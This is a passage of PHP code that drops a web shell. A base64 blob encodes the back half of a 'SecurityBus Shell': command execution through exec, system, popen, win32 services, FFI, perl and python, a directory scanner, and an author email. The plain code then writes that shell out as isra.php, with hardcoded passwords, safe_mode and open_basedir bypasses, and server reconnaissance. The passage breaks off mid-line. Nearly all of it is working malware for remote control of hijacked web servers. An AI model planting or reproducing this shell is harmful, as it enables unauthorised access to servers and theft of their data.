IVDogICNjY2NjY2MgMXB4IHNvbGlkOw0KCQlCT1JERVItVE9QOiAgICAjY2NjY2NjIDFweCBzb2xpZDsNCgkJQk9SREVSLUxFRlQ6ICAgI2NjY2NjYyAxcHggc29saWQ7DQoJCUJPUkRFUi1CT1RUT006ICNjY2NjY2MgMXB4IHNvbGlkOw0KCQljb2xvcjogI2NjY2NjYzsNCgl9DQoNCglpbnB1dCANCgl7DQoJCUJPUkRFUi1SSUdIVDogICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7DQoJCUJPUkRFUi1UT1A6ICAgICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7DQoJCUJPUkRFUi1MRUZUOiAgICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7DQoJCUJPUkRFUi1CT1RUT006ICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7DQoJCUJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQoJCWZvbnQ6IDlwdCB0YWhvbWE7DQoJCWNvbG9yOiAjZmZmZmZmOw0KCX0NCglzZWxlY3QgDQoJew0KCQlCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsNCgkJQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7DQoJCUJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOw0KCQlCT1JERVItQk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsNCgkJQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCgkJZm9udDogOXB0IHRhaG9tYTsNCgkJY29sb3I6ICNDQ0NDQ0M7Ow0KCX0NCglzdWJtaXQgDQoJew0KCQlCT1JERVI6ICAxcHggb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsNCgkJQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCgkJd2lkdGg6IDQwJTsNCgkJY29sb3I6ICNjY2NjY2M7DQoJfQ0KCXRleHRhcmVhIA0KCXsNCgkJQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxcHggc29saWQ7DQoJCUJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IHNvbGlkOw0KCQlCT1JERVItTEVGVDogICAjOTk5OTk5IDFweCBzb2xpZDsNCgkJQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxcHggc29saWQ7DQoJCUJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQoJCWNvbG9yOiAjZmZmZmZmOw0KCX0NCgkuU2F2ZXsNCgkJd2lkdGg6NTAwcHg7CQ0KCQlib3JkZXItY29sb3I6cmVkOw0KCX0NCglBOmxpbmsge0NPTE9SOiIuJHNoM2xsQ29sb3IuIjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO30NCglBOnZpc2l0ZWQgeyBDT0xPUjoiLiRzaDNsbENvbG9yLiI7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9DQoJQTphY3RpdmUge0NPTE9SOiIuJHNoM2xsQ29sb3IuIjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO30NCglBOmhvdmVyIHtjb2xvcjpibHVlO1RFWFQtREVDT1JBVElPTjogbm9uZTt9DQoJPC9zdHlsZT4NCgk8c2NyaXB0Pg0KCWZ1bmN0aW9uIG9wZW5QSFBJbmZvKCl7bXlfd2luZG93PSB3aW5kb3cub3BlbiAoXCI/aW5mbz1nZXRQaHBJbmZvXCIsXCJQSFAgSW5mb1wiLFwid2lkdGg9ODAwLGhlaWdodD02MDAsc2Nyb2xsYmFycz0xXCIpOwl9DQoJZnVuY3Rpb24gQWRkQWxpYXMoKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnQ01EX0xpbmUnKS52YWx1ZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhbGlhcycpLnZhbHVlOyB9DQoJZnVuY3Rpb24gYWRkVXBsb2FkSW5wdXQoKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkSW5wdXQnKS5pbm5lckhUTUwgKz0gJzxpbnB1dCB0eXBlPVwnZmlsZVwnIG5hbWU9XCd1cGxvYWRmaWxlW11cJz4nOwl9DQoJZnVuY3Rpb24gY2hhbmdlX2Rpcl9tb2RlKCkgew0KCQl2YXIgZGlyX21vZGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyX21vZGUnKS52YWx1ZTsNCgkJZG9jdW1lbnQubG9jYXRpb24gPSAnP2Rpcl9tb2RlPScrZGlyX21vZGU7DQoJfQ0KCTwvc2NyaXB0Pg0KCSI7DQoJcmV0dXJuICRjc3M7DQp9DQpmdW5jdGlvbiBmaWx0ZXIoJHN0cmluZykgew0KCWlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgIT0gMCl7cmV0dXJuIHN0cmlwc2xhc2hlcygkc3RyaW5nKTsJfQ0KCWVsc2V7cmV0dXJuICRzdHJpbmc7CX0NCn0NCmZ1bmN0aW9uIGZvb3RlcigpIHsNCgllY2hvICcNCgk8dGFibGUgd2lkdGg9IjEwMCUiPg0KCTx0cj4NCgk8dGQgd2lkdGg9IjEwMCUiPjxjZW50ZXI+DQoJPHN5PiAgfn48PCA8L3N5PlNlY3VyaXR5QnVzPHN5PiA+Pn5+PC9zeT48L2I+PGJyLz4NCgk8c3k+ICB+fjw8IDwvc3k+czRmM3czYkB5YWhvby5jb208c3k+ID4+fn48L3N5PjwvYj4NCgk8L2NlbnRlcj48L3RkPg0KCTwvdHI+DQoJPC90YWJsZT4NCgk8L2JvZHk+PC9odG1sPg0KCSc7DQp9DQpmdW5jdGlvbiBwcmludF9leGVfbWV0aG9kKCkgew0KCWdsb2JhbCAkb3M7IGdsb2JhbCAkZXhlY19tZXRob2Q7DQoJaWYoJG9zID09ICJMaW51eCIpIHsNCgkJPz4NCgkJPHNlbGVjdCBuYW1lPSJleGVfbWV0aG9kIiA+DQoJCQk8b3B0aW9uIHZhbHVlPSJleGVjIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gImV4ZWMiKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+ZXhlYygpPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAic3lzdGVtIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnN5c3RlbTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0ic2hlbGxfZXhlYyIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJzaGVsbF9leGVjIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnNoZWxsX2V4ZWM8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBhc3N0aHJ1IiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBhc3N0aHJ1Iikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnBhc3N0aHJ1KCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InByb2Nfb3BlbiIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJwcm9jX29wZW4iKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+cHJvY19vcGVuKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBvcGVuIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBvcGVuIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnBvcGVuKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBlcmwiIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAicGVybCIpIHtlY2hvICJzZWxlY3RlZCI7fSA/Pj5wZXJsPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSJweXRob24iIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAicHl0aG9uIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnB5dGhvbjwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgkJPD9waHANCgl9IGVsc2Ugew0KCQk/Pg0KCQk8c2VsZWN0IG5hbWU9ImV4ZV9tZXRob2QiID4NCgkJCTxvcHRpb24gdmFsdWU9ImV4ZWMiIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAiZXhlYyIpIHtlY2hvICJzZWxlY3RlZCI7fSA/Pj5leGVjKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InN5c3RlbSIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJzeXN0ZW0iKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+c3lzdGVtKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InNoZWxsX2V4ZWMiIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAic2hlbGxfZXhlYyIpIHtlY2hvICJzZWxlY3RlZCI7fSA/Pj5zaGVsbF9leGVjKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBhc3N0aHJ1IiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBhc3N0aHJ1Iikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnBhc3N0aHJ1KCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InByb2Nfb3BlbiIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJwcm9jX29wZW4iKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+cHJvY19vcGVuKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBvcGVuIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBvcGVuIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnBvcGVuKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9Indpbl9zaGVsbF9leGVjdXRlIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gIndpbl9zaGVsbF9leGVjdXRlIikge2VjaG8gInNlbGVjdGVkIjt9ID8+Pndpbl9zaGVsbF9leGVjdXRlKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IndpbjMyX2NyZWF0ZV9zZXJ2aWNlIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gIndpbjMyX2NyZWF0ZV9zZXJ2aWNlIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PndpbjMyX2NyZWF0ZV9zZXJ2aWNlKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9ImZmaSIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJmZmkiKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+ZmZpPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSJwZXJsIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBlcmwiKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+cGVybDwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0icHl0aG9uIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInB5dGhvbiIpIHtlY2hvICJzZWxlY3RlZCI7fSA/Pj5weXRob248L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InNsYXNoX2J5cGFzcyA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInNsYXNoX2J5cGFzcyIpIHtlY2hvICJzZWxlY3RlZCI7fSA/PiI+c2xhc2ggYnlwYXNzPC9vcHRpb24+DQoJCTwvc2VsZWN0Pg0KCQk8P3BocA0KCX0NCn0NCmZ1bmN0aW9uIEV4ZSgkY29tbWFuZCkgew0KCWdsb2JhbCAkZGlyO2dsb2JhbCAkb3M7Z2xvYmFsICRleGVjX21ldGhvZDsNCgkkY29tbWFuZCA9IGZpbHRlcigkY29tbWFuZCk7DQoJDQoJaWYoJGV4ZWNfbWV0aG9kID09ICJleGVjIikgew0KCQlleGVjKCRjb21tYW5kLCRvdXRwdXQpO2VjaG8gam9pbigiXG4iLCRvdXRwdXQpOw0KCX0gZWxzZSBpZigkZXhlY19tZXRob2QgPT0gInN5c3RlbSIpIHsNCgkJc3lzdGVtKCRjb21tYW5kKTsNCgl9IGVsc2UgaWYoJGV4ZWNfbWV0aG9kID09ICJzaGVsbF9leGVjIikgew0KCQllY2hvIHNoZWxsX2V4ZWMoJGNvbW1hbmQpOw0KCX0gZWxzZSBpZigkZXhlY19tZXRob2QgPT0gInBhc3N0aHJ1Iikgew0KCQlwYXNzdGhydSgkY29tbWFuZCk7DQoJfSBlbHNlIGlmKCRleGVjX21ldGhvZCA9PSAicHJvY19vcGVuIikgew0KCQllY2hvIHByb2NfZXhlYygkY29tbWFuZCwkZGlyKTsNCgl9IGVsc2UgaWYoJGV4ZWNfbWV0aG9kID09ICJwb3BlbiIpIHsNCgkJJGZwID0gcG9wZW4oJGNvbW1hbmQsInIiKTt7d2hpbGUoIWZlb2YoJGZwKSl7JHJlc3VsdC49ZnJlYWQoJGZwLDEwMjQpO31wY2xvc2UoJGZwKTt9ZWNobyBjb252ZXJ0X2N5cl9zdHJpbmcoJHJlc3VsdCwiZCIsInciKTsNCgl9IGVsc2UgaWYoJGV4ZWNfbWV0aG9kID09ICJ3aW5fc2hlbGxfZXhlY3V0ZSIpIHsNCgkJZWNobyB3aW5zaGVsbCgkY29tbWFuZCk7DQoJfSBlbHNlIGlmKCRleGVjX21ldGhvZCA9PSAid2luMzJfY3JlYXRlX3NlcnZpY2UiKSB7DQoJCWVjaG8gc3J2c2hlbGwoJGNvbW1hbmQpOw0KCX0gZWxzZSBpZigkZXhlY19tZXRob2QgPT0gImZmaSIpIHsNCgkJZWNobyBmZmlzaGVsbCgkY29tbWFuZCk7DQoJfSBlbHNlIGlmKCRleGVjX21ldGhvZCA9PSAicGVybCIpIHsNCgkJZWNobyBwZXJsc2hlbGwoJGNvbW1hbmQpOw0KCX0gZWxzZSBpZigkZXhlY19tZXRob2QgPT0gInB5dGhvbiIpIHsNCgkJZWNobyBweXRob25fZXZhbCgiaW1wb3J0IG9zXG5vcy5zeXN0ZW0oJyIuJGNvbW1hbmQuIicpIik7DQoJfSBlbHNlIGlmKCRleGVjX21ldGhvZCA9PSAic2xhc2hfYnlwYXNzIikgew0KCQllY2hvIHNsYXNoQnlwYXNzKCRjb21tYW5kKTsNCgl9DQp9DQpmdW5jdGlvbiBwcm9jX2V4ZWMoJGNvbSAsICRkaXIpIHsNCiAgICAkc3RhcnRfcGlwZT1hcnJheSgwPT5hcnJheSgicGlwZSIsInciKSwxPT5hcnJheSgicGlwZSIsInciKSk7DQogICAgJHByb2Nlc3M9cHJvY19vcGVuKCRjb20sJHN0YXJ0X3BpcGUsJHBpcGVzLCRkaXIsTlVMTCk7DQogICAgcmV0dXJuIHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsNCn0NCmZ1bmN0aW9uIHdpbnNoZWxsKCRjb21tYW5kKSB7DQoJJG5hbWU9d2hlcmVpc3RtUCgpLiJcXCIudW5pcWlkKCdOSicpOw0KCXdpbl9zaGVsbF9leGVjdXRlKCdjbWQuZXhlJywnJywiL0MgJGNvbW1hbmQgPlwiJG5hbWVcIiIpOw0KCXNsZWVwKDEpOw0KCSRleGVjPWZpbGVfZ2V0X2NvbnRlbnRzKCRuYW1lKTsNCglEZWxldGVGaWxlKCRuYW1lKTsNCglyZXR1cm4gJGV4ZWM7DQp9DQpmdW5jdGlvbiBzcnZzaGVsbCgkY29tbWFuZCkgew0KCSRuYW1lPXdoZXJlaXN0bVAoKS4iXFwiLnVuaXFpZCgnTkonKTsNCgkkbj11bmlxaWQoJ05KJyk7DQoJJGNtZD0oZW1wdHkoJF9TRVJWRVJbJ0NvbVNwZWMnXSkpPydkOlxcd2luZG93c1xcc3lzdGVtMzJcXGNtZC5leGUnOiRfU0VSVkVSWydDb21TcGVjJ107DQoJd2luMzJfY3JlYXRlX3NlcnZpY2UoYXJyYXkoJ3NlcnZpY2UnPT4kbiwnZGlzcGxheSc9PiRuLCdwYXRoJz0+JGNtZCwncGFyYW1zJz0+Ii9jICRjb21tYW5kID5cIiRuYW1lXCIiKSk7DQoJd2luMzJfc3RhcnRfc2VydmljZSgkbik7DQoJd2luMzJfc3RvcF9zZXJ2aWNlKCRuKTsNCgl3aW4zMl9kZWxldGVfc2VydmljZSgkbik7DQoJd2hpbGUoIWZpbGVfZXhpc3RzKCRuYW1lKSlzbGVlcCgxKTsNCgkkZXhlYz1maWxlX2dldF9jb250ZW50cygkbmFtZSk7DQoJRGVsZXRlRmlsZSgkbmFtZSk7DQoJcmV0dXJuICRleGVjOw0KfQ0KZnVuY3Rpb24gZmZpc2hlbGwoJGNvbW1hbmQpIHsNCgkkbmFtZT13aGVyZWlzdG1QKCkuIlxcIi51bmlxaWQoJ05KJyk7DQoJJGFwaT1uZXcgZmZpKCJbbGliPSdrZXJuZWwzMi5kbGwnXSBpbnQgV2luRXhlYyhjaGFyICpBUFAsaW50IFNXKTsiKTsNCgkkcmVzPSRhcGktPldpbkV4ZWMoImNtZC5leGUgL2MgJGNvbW1hbmQgPlwiJG5hbWVcIiIsMCk7DQoJd2hpbGUoIWZpbGVfZXhpc3RzKCRuYW1lKSlzbGVlcCgxKTsNCgkkZXhlYz1maWxlX2dldF9jb250ZW50cygkbmFtZSk7DQoJRGVsZXRlRmlsZSgkbmFtZSk7DQoJcmV0dXJuICRleGVjOw0KfQ0KZnVuY3Rpb24gcGVybHNoZWxsKCRjb21tYW5kKSB7DQoJJHBlcmw9bmV3IHBlcmwoKTsNCglvYl9zdGFydCgpOw0KCSRwZXJsLT5ldmFsKCJzeXN0ZW0oJyIuJGNvbW1hbmQuIicpIik7DQoJJGV4ZWM9b2JfZ2V0X2NvbnRlbnRzKCk7DQoJb2JfZW5kX2NsZWFuKCk7DQoJcmV0dXJuICRleGVjOw0KfQ0KZnVuY3Rpb24gc2xhc2hCeXBhc3MoJGNtZCkgew0KCUdlbmVyYXRlRmlsZSgiY21kLmJhdCIsIiRjbWQ+c3kzLnR4dCIuIlxyXG4gZXhpdCIpOw0KCWV4ZWMoIlxzdGFydCBjbWQuYmF0Iik7DQoJJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygnc3kzLnR4dCcpOw0KCXVubGluaygnc3kzLnR4dCcpOw0KCXJldHVybiAkY29udGVudDsNCn0NCmZ1bmN0aW9uIEdlbmVyYXRlRmlsZSgkbmFtZSwkY29udGVudCkgew0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2ZjbG9zZScpKSB7DQoJCSRmaWxlID0gZm9wZW4oJG5hbWUsIncrIik7DQoJCWlmKCRmaWxlKSB7DQoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ2Z3cml0ZScpKXskd3JpdGVGaWxlID0gZndyaXRlKCRmaWxlLCRjb250ZW50KTsgfQkNCgkJCWVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZnB1dHMnKSl7JHdyaXRlRmlsZSA9IGZwdXRzKCRmaWxlLCRjb250ZW50KTsgfQ0KCQkJZWxzZSBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKXskd3JpdGVGaWxlID0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJGNvbnRlbnQpO30NCgkJCWlmKCEkd3JpdGVGaWxlKXtyZXR1cm4gZmFsc2U7fQ0KCQl9DQoJCWVsc2V7cmV0dXJuIGZhbHNlO31mY2xvc2UoJGZpbGUpO3JldHVybiB0cnVlOw0KCX0NCn0NCmZ1bmN0aW9uIFNjYW5EaXJzKCkgew0KCWdsb2JhbCAkb3M7IGdsb2JhbCAkZGlyO2dsb2JhbCAkc2FmZU1vZGU7Z2xvYmFsICRkaXJfbW9kZTsNCglpZigkZGlyX21vZGUgPT0gImNtZCIpe2lmKCRvcyA9PSAiV2luZG93cyIpe0V4ZSgnZGlyJyk7fWVsc2V7IEV4ZSgnbHMgLWxpYScpO319DQoJZWxzZSB7DQoJCSRyZXN1bHQgLj0gIlBlcm1zCVNpemUJVGltZQkJT3duZXIvR3JvdXAJUi9XCVR5cGUJRmlsZQ0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiI7DQoJCSRoYW5kZWwgPSBvcGVuZGlyKCRkaXIpOw0KCQl3aGlsZSgoJGZpbGUgPSByZWFkZGlyKCRoYW5kZWwpKSE9IGZhbHNlKSANCgkJew0KCQkJJHNpemUgPSBmaWxlc2l6ZSgkZmlsZSk7DQoJCQlpZihmaWxldHlwZSgkZmlsZSkgPT0gImRpciIpeyR0eXBlID0gIjxESVI+Ijt9ZWxzZSB7JHR5cGUgPSAiPEZJTEU+Ijt9DQoJCQlpZihmaWxlb3duZXIoJGZpbGUpKXskb3duZXIgPSBmaWxlb3duZXIoJGZpbGUpO31lbHNleyRvd25lciA9ICJOT05FIjt9DQoJCQlpZihmaWxlZ3JvdXAoJGZpbGUpKXskZ3JvdXAgPSBmaWxlZ3JvdXAoJGZpbGUpO31lbHNleyRncm91cCA9ICJOT05FIjt9DQoJCQkkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KCQkJJHRpbWUgPSBkYXRlKCJ5L20vZCIsIGZpbGVjdGltZSgkZmlsZSkpOw0KCQkJaWYoaXNfd3JpdGFibGUoJGZpbGUpKXskaXNXcml0YWJsZSA9ICJZIjt9ZWxzZXskaXNXcml0YWJsZSA9ICJOIjt9DQoJCQlpZihpc19yZWFkYWJsZSgkZmlsZSkpeyRpc1JlYWRhYmxlID0gIlkiO31lbHNleyRpc1JlYWRhYmxlID0gIk4iO30NCgkJCSRyZXN1bHQgLj0gJHBlcm1zLiIJIi4kc2l6ZS4iCSIuJHRpbWUuIgkiLiRvd25lci4iLyIuJGdyb3VwLiIJIi4kaXNSZWFkYWJsZS4iLyIuJGlzV3JpdGFibGUuIgkiLiR0eXBlLiIJIi4kZmlsZS4iDQoiOw0KCQl9DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KZWNobyBmb290ZXIoKTsNCj8+DQo=';
file_put_contents('isra.php', "<?php\r\n# Bypass SuHosin\r\n# Virtual\r\n# users 6 ID /etc/passwd\r\n\r\n\$user = 'isr'; \r\n\$pass = 'isr'; \r\n\$uselogin = 1;\r\n\$sh3llColor = \"green\";\r\n\r\n# MySQL Info ---------\r\n\$DBhost = \"localhost\";\r\n\$DBuser = \"root\";\r\n\$DBpass = \"root\";\r\n#---------------------\r\nsession_start();\r\nerror_reporting(0);\r\nset_magic_quotes_runtime(0);\r\nset_time_limit(0);\r\nignore_user_abort(TRUE);\r\nini_restore(\"safe_mode\");\r\nini_restore(\"open_basedir\");\r\nini_set('max_execution_time',0);\r\nini_set('output_buffering',0);\r\nini_set('safe_mode','Off');\r\n\r\n// Set Current Directory\r\nif(!\$_POST && !\$_SESSION['curDir']) {\r\n\t\$dir = getcwd();\r\n\t\$_SESSION['curDir'] = \$dir;\r\n} else if(empty(\$_POST['curDir'])) {\r\n\t\$dir = \$_SESSION['curDir'];\r\n} else {\r\n\t\$dir = filter(\$_POST['curDir']);\r\n\t\$_SESSION['curDir'] = \$dir;\r\n}\r\n// Set Dir Mode\r\nif(\$_GET['dir_mode']) {\r\n\t\$dir_mode = \$_GET['dir_mode'];\r\n\t\$_SESSION['dir_mode'] = \$dir_mode;\r\n} else { \r\n\t\$dir_mode = \$_SESSION['dir_mode'];\r\n}\r\n\r\n// Set Usable Command\r\nif(\$_POST['exe_method']) {\r\n\t\$exec_method = \$_POST['exe_method'];\r\n} else {\r\n\t\$exec_method = \"exec\";\r\n}\r\n# Logout \r\nif(\$_POST['logout']) {\r\n\tprint '<script>document.cookie=\"user=;\";document.cookie=\"pass=;\";</script>';\r\n\tprint '<script>document.location = \"'.\$_SERVER['PHP_SELF'].'\";</script>';\r\n}\r\nif(strlen(\$dir)>1 && \$dir[1]==\":\"){\$os = \"Windows\";}else {\$os = \"Linux\";}\r\nif(\$_GET['info']){phpinfo();}\r\n\$safeMode = SafeMode();\r\n\$server = substr(\$SERVER_SOFTWARE,0,120);\r\n\$daemon = \"\";\r\n?>\r\n<html>\r\n<head>\r\n<title>SecurityBus Shell</title>\r\n<link rel=\"shortcut icon\" href='http://i50.tinypic.com/1zg886s.jpg' />\r\n<meta http-equiv=Content-Type content=text/html; charset=UTF-8>\r\n<?php echo CSS(\$sh3llColor); ?>\r\n\r\n</head>\r\n<body dir='ltr'>\r\n<?php\r\n# ---------------------------------------#\r\n# Authentication #\r\n#----------------------------------------#\r\nif (\$uselogin ==1) {\r\n\tif(\$_COOKIE[\"user\"] != \$user or \$_COOKIE[\"pass\"] != md5(\$pass)) {\r\n\t\tif(\$_GET) {\$user = \$_GET['user'];\$pass = \$_GET['pass'];}\r\n\t\tif(\$_POST['usrname']==\$user && \$_POST['passwrd']==\$pass){\r\n\t\t\tprint'<script>document.cookie=\"user='.\$_POST['usrname'].';\";document.cookie=\"pass='.md5(\$_POST['passwrd']).';\";</script>';\r\n\t\t} else {\r\n\t\t\tif(\$_POST['usrname']){\r\n\t\t\t\tprint'<script>alert(\"Go and play in the street man !!\");</script>';\r\n\t\t\t}\r\n?>\r\n<br><br>\r\n\t\t\t<center><img src=\"http://i50.tinypic.com/1zg886s.jpg\"><br />\r\n\t\t\t<sy>SecurityBus</sy>\r\n\t\t\t</center><br />\r\n\t\t\t<div align=\"center\">\r\n\t\t\t\t<form method=\"POST\" name=\"login_form\" onSubmit=\"if(this.usrname.value==''){return false;}\">\r\n\t\t\t\t<input dir=\"ltr\" name=\"usrname\" id=\"username\" value=\"\" type=\"text\" size=\"30\" onBlur=\"Blur('username','userName');\" onClick=\"Clear('username','userName');\"/><br>\r\n\t\t\t\t<input dir=\"ltr\" name=\"passwrd\" id=\"password\" value=\"\" type=\"password\" size=\"30\" onFocus=\"Focus(2);\" /><br>\r\n\t\t\t\t<input type=\"submit\" value=\" Login \" name=\"login\" />\r\n\t\t\t\t</form>\r\n\t\t\t</div>\r\n <?php\r\n\t\t\tfooter();\r\n\t\t\texit;\r\n\t\t}\r\n\t}\r\n}\r\n?>\r\n<table cellpadding='0' cellspacing='0' width='100%'>\r\n\t<tr>\r\n \t<td width='160'>\r\n \t<center><form method=\"post\"><input type=\"submit\" value=\"Logout\" name=\"logout\" id=\"logout\" /></form></center>\r\n\t\t\t<a href=\"<?php echo \$_SERVER['PHP_SELF']; ?>\"><img border='0' src='http://i50.tinypic.com/1zg886s.jpg' width='100%' height='100%'></a><br>\r\n\t\t\t<center>SecurityBus\r\n\t\t\t<p></p>\r\n\t\t\t\t<select name=\"dir_mode\" id=\"dir_mode\" onChange=\"change_dir_mode();\">\r\n\t\t\t\t\t<option value=\"cmd\" <?php if(\$dir_mode == \"cmd\") {echo \"selected\";} ?> >CMD</option>\r\n\t\t\t\t\t<option value=\"php\" <?php if(\$dir_mode == \"php\") {echo \"selected\";} ?>>PHP</option>\r\n\t\t\t\t</select>\r\n\t\t\t</center>\r\n </td>\r\n\t <td>\r\n <form method=\"post\">\r\n<table width='100%' style=\"border:none; padding:2px;\" >\r\n <tr>\r\n \t<td width='103'>System</td>\r\n \t<td width=\"323\"><?php echo \$os; ?></td>\r\n \t<td width=\"90\">Apache Modules</td>\r\n \t<td width=\"278\"><select ><?php \r\n \tif(function_exists(\"apache_get_modules\")) {\r\n\t\t\tforeach (apache_get_modules() as \$module) {\r\n\t\t\t\techo \"<option>\".\$module.\"</option>\";\r\n\t\t\t}\r\n \t}else {\r\n \t\techo \"<option>NONE</option>\";\r\n \t}\r\n \t?></select></td>\r\n </tr>\r\n <tr>\r\n <td>uname </td>\r\n <td><a href='http://www.google.com/search?q=<?php echo php_uname(); ?>' target='_blank'><u><?php echo php_uname(); ?></u></a></td>\r\n <td>Curl</td>\r\n <td><?php echo Curl(); ?></td>\r\n </tr>\r\n <tr>\r\n <td>pwd</td>\r\n <td><?php echo getcwd(); ?></td>\r\n <td>Open Basedir</td>\r\n <td><?php echo openBaseDir(); ?></td>\r\n </tr>\r\n <tr>\r\n <td>whoami</td>\r\n <td><?php echo get_current_user(); ?></td>\r\n <td>Magic_Quotes</td>\r\n <td><?php echo magicQouts(); ?></td>\r\n </tr>\r\n <tr>\r\n <td>Server</td>\r\n <td><?php echo \$server; ?></td>\r\n <td>Register Globals</td>\r\n <td><?php echo RegisterGlobals(); ?></td>\r\n </tr>\r\n <tr>\r\n <td>Server Name</td>\r\n <td><?php echo \$_SERVER['HTTP_HOST']; ?></td>\r\n <td>Gzip</td>\r\n <td><?php echo Gzip(); ?></td>\r\n </tr>\r\n <tr>\r\n <td>Your IP</td>\r\n <td><?php echo GetRealIP(); ?></td>\r\n <td>Oracle</td>\r\n <td><?php echo Oracle(); ?></td>\r\n </tr>\r\n <tr>\r\n <td>Server IP</td>\r\n <td><a href='http://bing.com/search?q=ip:<?php echo gethostbyname(\$_SERVER[\"HTTP_HOST\"]); ?>&go=&form=QBLH&filt=all' target='_blank'><u><?php echo gethostbyname(\$_SERVER[\"HTTP_HOST\"]); ?></u></a> [<a href=\"http://whois.webhosting.info/<?php echo gethostbyname(\$_SERVER[\"HTTP_HOST\"]); ?>\" target='_blank' />Reverse IP]</td>\r\n <td>MSQL</td>\r\n <td><?php echo MSQL(); ?></td>\r\n </tr>\r\n <tr>\r\n <td>PHP Version</td>\r\n <td><a href='javascript:openPHPInfo();'><u><?php echo phpversion(); ?></u></a></td>\r\n <td>MySQL</td>\r\n <td><?php echo MySQL2().\" \".mysql_get_server_info(); 